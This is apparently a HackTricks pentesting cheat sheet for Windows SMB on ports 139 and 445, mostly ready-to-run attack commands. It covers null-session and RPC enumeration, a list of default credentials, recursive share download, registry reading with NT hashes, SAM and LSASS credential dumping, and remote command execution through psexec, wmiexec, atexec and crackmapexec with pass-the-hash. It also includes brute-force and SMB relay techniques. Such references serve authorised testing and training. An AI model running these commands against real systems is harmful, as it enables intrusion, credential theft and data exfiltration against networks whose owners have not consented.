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139,445 - Pentesting SMB

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Port 139

NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** (extracted from here)

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

From book Network Security Assessment 3rd edition

With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:

Operating system information
Details of the parent domain
A list of local users and groups
Details of available SMB shares
The effective system security policy

What is NTLM

If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about NTLM where is explained how this protocol works and how you can take advantage of it.

Enumeration

Scan a network searching for hosts:

nbtscan -r 192.168.0.1/24

SMB server version

To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:

Use the MSF auxiliary module _auxiliary/scanner/smb/smb_version
_Or** this script**:

#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Search exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Possible Credentials

Username(s)	Common passwords
(blank)	(blank)
guest	(blank)
Administrator, admin	(blank), password, administrator, admin
arcserve	arcserve, backup
tivoli, tmersrvd	tivoli, tmersrvd, admin
backupexec, backup	backupexec, backup, arcada
test, lab, demo	password, test, lab, demo

Obtain information

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumerating LSARPC and SAMR rpcclient

Pat of this section was extracted from book "Network Security Assesment 3rd Edition"

You can use the Samba rpcclient utility to interact with RPC endpoints via named pipes. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon establishing a SMB session (often requiring credentials).

Users enumeration

List users: querydispinfo and enumdomusers
Get user details: queryuser <0xrid>
Get user groups: queryusergroups <0xrid>
GET SID of a user: lookupnames <username>
Get users aliases: queryuseraliases [builtin|domain] <sid>

Groups enumeration

List groups: enumdomgroups
Get group details: querygroup <0xrid>
Get group members: querygroupmem <0xrid>

Aliasgroups enumeration

List alias: enumalsgroups <builtin|domain>
Get members: queryaliasmem builtin|domain <0xrid>

Domains enumeration

List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo

More SIDs

Find SIDs by name: lookupnames <username>
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids <sid>

Command	Interface	Description
queryuser	SAMR	Retrieve user information
querygroup	Retrieve group information
querydominfo	Retrieve domain information
enumdomusers	Enumerate domain users
enumdomgroups	Enumerate domain groups
createdomuser	Create a domain user
deletedomuser	Delete a domain user
lookupnames	LSARPC	Look up usernames to SIDa values
lookupsids	Look up SIDs to usernames (RIDb cycling)
lsaaddacctrights	Add rights to a user account
lsaremoveacctrights	Remove rights from a user account
dsroledominfo	LSARPC-DS	Get primary domain information
dsenumdomtrusts	Enumerate trusted domains within an AD forest

To understand better how the tools samrdump and rpcdump works you should read Pentesting MSRPC.

GUI connection from linux

In the terminal:

xdg-open smb://cascade.htb/

In file browser window (nautilus, thunar, etc)

smb://friendzone.htb/general/

List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Connect/List a shared folder

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Manually enumerate windows shares and connect to them

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

or this script (using a null session)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
    output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') 

    if [[ -z $output ]]; then 
        echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
    else
        echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
    fi
done

examples

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Mount a shared folder

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Download files

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap

#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
recurse: toggles recursion on (default: off)
prompt: toggles prompting for filenames off (default: on)
mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

Read Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Local users

Enumerate local users with SID brute-forcing:

With Impacket:

lookupsid.py -no-pass hostname.local

With Metasploit:

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Note: rpcclient command lookupsids only translates a SID to a username but doesn't allow enumeration via brute-forcing.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Execute

crackmapexec

crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

psexec/smbexec

Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
More info about psexec and smbexec.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Using parameter-k you can authenticate against kerberos instead of NTLM

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket reference

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Bruteforce users credentials

This is not recommended, you could block an account if you exceed the maximum allowed tries

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername

SMB relay attack

This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.

SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"

This happens with the funcions:

URLDownloadToFile
URLDownloadToCache
URLOpenStream
URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

SMBTrap using MitMf

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SMB
  Note: |
    While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

    #These are the commands I run in order every time I see an open SMB port

    With No Creds
    nbtscan {IP}
    smbmap -H {IP}
    smbmap -H {IP} -u null -p null
    smbclient -N -L //{IP}
    smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
    rpcclient {IP}
    rpcclient -U "" {IP}
    crackmapexec smb {IP}
    crackmapexec smb {IP} --pass-pol -u "" -p ""
    GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
    GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
    GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
    getArch.py -target {IP}

    With Creds
    smbmap -H {IP} -u {Username} -p {Password}
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
    crackmapexec smb {IP} -u {Username} -p {Password} --shares
    GetADUsers.py {Domain_Name}/{Username}:{Password} -all
    GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
    GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

    https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
  Name: Enum4Linux
  Description: General SMB Scan
  Command: enum4linux -a {IP}

Entry_3:
  Name: Nmap SMB Scan 1
  Description: SMB Vuln Scan With Nmap
  Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
  Name: Nmap Smb Scan 2
  Description: SMB Vuln Scan With Nmap (Less Specific)
  Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}

Entry_5:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
  
Entry_6:
  	Name: SMB/SMB2 139/445 consolesless mfs enumeration
  	Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
  	Note: sourced from https://github.com/carlospolop/legion
  	Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

Support HackTricks and get benefits!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

28 KiB Raw Blame History Unescape Escape

139,445 - Pentesting SMB

Port 139

Port 445

IPC$ share

What is NTLM

Enumeration

Scan a network searching for hosts:

SMB server version

Search exploit

Possible Credentials

Obtain information

Enumerating LSARPC and SAMR rpcclient

Users enumeration

Groups enumeration

Aliasgroups enumeration

Domains enumeration

More SIDs

GUI connection from linux

In the terminal:

In file browser window (nautilus, thunar, etc)

List shared folders

Connect/List a shared folder

Manually enumerate windows shares and connect to them

Mount a shared folder

Download files

Read Registry

Local users

Authenticate using Kerberos

Execute

crackmapexec

psexec/smbexec

wmiexec/dcomexec

AtExec

Impacket reference

Bruteforce users credentials

SMB relay attack

SMB-Trap

SMBTrap using MitMf

HackTricks Automatic Commands

28 KiB

Raw Blame History